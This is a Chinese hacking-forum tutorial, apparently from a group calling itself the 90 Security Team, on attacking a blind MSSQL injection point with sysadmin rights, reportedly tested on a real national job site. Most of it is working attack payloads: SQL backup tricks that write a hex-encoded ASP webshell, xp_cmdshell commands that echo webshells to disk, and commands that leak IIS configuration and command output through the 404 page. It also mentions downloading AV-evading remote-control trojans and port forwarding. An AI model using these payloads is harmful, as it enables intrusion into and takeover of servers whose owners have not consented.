sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
5 P5 ?3 q) m" a% K- h8 p

4 m) d0 s) J/ }$ [/ ^5 w. ^- z                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
  s1 d1 b& ~6 X+ u& A
  V; @: n7 H, |+ [% S6 d, p                                                                 
                                                                 
2 o; M$ ?# ~8 L# ^; m' O( q                                                                  论坛： http://www.90team.net/

! l3 z: H) J3 m+ B& h3 P

9 w  |. C, s. t7 h2 L8 V. l) v友情检测国家人才网


内容：MSSQL注入SA权限不显错模式下的入侵
2 u4 J5 V* d; m8 o

一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
4 t, ?$ e( D: N  ~
我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。


这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路：
6 w" U. w( j, h
首先：

- P- t: L, S$ q8 t- y通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

1.日志备份获得Webshell
$ j7 [2 F2 y5 ^: B% a
* \0 R( O+ D0 S8 L0 x8 j, }$ \2.数据库差异备份获得Webshell

4.直接下载免杀远控木马。
# }2 b+ {# B3 i- L! ~& [3 z
8 {/ q: [' ^0 U3 o6 h, \5.直接下载LCX将服务器端口转发出来

5 _  e9 r* O& u4 T( {0 J6 L6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
# i# L0 a- F9 l0 Z. |. k) N' l
, F; `& j1 ^+ N$ z* c0 x8 @$ U
( @! O, Y, t7 e& @& ]% r" D( J& l
在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

我直接演示后面一个方法


分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
) m$ m9 S" R* x% y; |5 c( i



, g0 `) K- ~+ _2 b% M4 b7 X◆日志备份：

8 ]' n+ l: b4 i; Y$ H
- X' m. l( R. I) }1. 进行初始备份
* Q. l7 y& O4 B0 u; ?3 ^4 l7 Q; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
9 }/ d  K3 B" H1 Q: C: u
2. 插入数据
2 I# P: \/ }' T;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
/ y- [1 e8 [7 x9 a( Q) ~- y8 K
( E5 t; {( R2 h% b4 _5 Z0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
  C! E; p% ^/ h0 C3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
* `. U2 ?; @# a# c
4 [3 p6 X; \& i  ^  q- E& |3 b

- ^! g0 i/ h- G- l◆数据库差异备份

; F! i5 x( S) h3 L9 b（1. 进行差异备份准备工作
1 W% N& \' g! l
/ _) x+ v2 Z: H; m;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
8 r# m. }+ N) B
上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
( w, T5 Q7 R4 i$ I8 Z8 d
/ d& `0 b9 P' K& p; y
( i. q' \1 K- `' G; H& t（2. 将数据写入到数据库
4 Y# w' O/ [" W2 Y% W;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
# k9 a) |6 S# g
0 P. y* l/ o3 b0 d' u6 I& ?0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>

3. 备份数据库并清理临时文件
0 x' W( ?. t  t5 l8 c6 `: H
3 T2 I: J( p& u4 |;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
/ E7 |7 |- J; U2 U$ P. I) c, l
0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
5 p% K& Y  ^' m( O


! p3 H# |) c2 a) i# K; ?用^转义字符来写ASP(一句话木马)文件的方法:   

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

" y4 @, C% E* L6 D& D4 Y2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

3 l1 {! |/ X. U$ M& |2 e' \读取IIS配置信息获取web路径

     
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
6 W2 ~  w7 p/ h# |
5 Z) V, S- j: `执行命令
     
. Y# H" {: Z& ]3 v: M2 B: n     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--

  j+ {* ]; K) x# F* F3 m" Y

# i4 U8 `+ C+ B# V2 E) e2 \
: R2 T' ]: n% K+ ?7 B
; q, D/ G- a- K

" V# C/ \% N+ a+ U
: a# b; U( J/ N1 j! V
! G- I7 h! ?5 e* Y9 ?" B
$ G" v0 ]# C+ E" T! j4 G

' W' D$ B7 D6 f1 J( Y: ^
, B' W6 h# _; }
/ [# `" N; v- \. ~) r& y

7 _/ ]) B, G5 W$ a$ J1 v
, ^  w, M1 M: m; D9 B/ \. c

6 q/ u- ]4 B% k: I$ n4 k9 x

8 `7 B: r# [0 ^! }


% k. p' q' z) L4 e' C. u
* P- L8 c8 h. l, F


, c: a' b. U0 M4 V' i
7 _7 R2 D5 ?) b" T' r
7 W1 r# V' ~0 M  R3 E! Y
: \( Z9 R% A. n! u

5 b, M9 A' y- v* [) c+ X1 b! z
- W. n4 |1 B% }' h. |
+ A1 ]+ `' M+ x& ?; A


8 m8 D: L: |1 ~& Z& g" m
. T! T2 b4 w' ~) g


9 u/ b; }- A3 [0 G( D. K# k


- k; |! D0 F, _( q6 X) `
1 W3 q5 M& h% b1 ]' b5 U